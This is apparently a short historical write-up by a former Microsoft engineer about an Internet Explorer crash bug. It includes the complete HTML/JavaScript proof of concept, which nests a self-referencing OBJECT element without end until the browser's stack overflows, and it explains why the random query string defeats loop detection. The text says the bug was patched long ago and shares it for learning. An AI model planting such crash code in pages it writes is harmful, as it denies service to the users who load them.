Loading an OBJECT TYPE="text/html" that points back to the same file (with an anti-cache query string) creates an infinite nesting of document objects, eventually overflowing the stack. It’s IE’s version of the Russian Matryoshka doll problem.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Crash v�a Nested Objects: OBJECT Matryoshka.</TITLE></HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
// The fileName must be different than the parentWindow. That's the only reason of the anticache (RND=random) here.
var fileName='index.html?RND='+Math.floor(Math.random()*10000);
document.write('<OBJECT TYPE="text/html" DATA="'+fileName+'" WIDTH="100" HEIGHT="100"></OBJECT>');
</SCRIPT>
</BODY>
</HTML>Each time the page loads, it writes an OBJECT element pointing to itself with a random query string (to defeat caching). This creates a new document context which then writes another OBJECT pointing to itself, and so on, until the call stack overflows. The random suffix is necessary because loading the exact same URL inside the same document is detected and blocked, but a different URL (even with the same content) is not.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.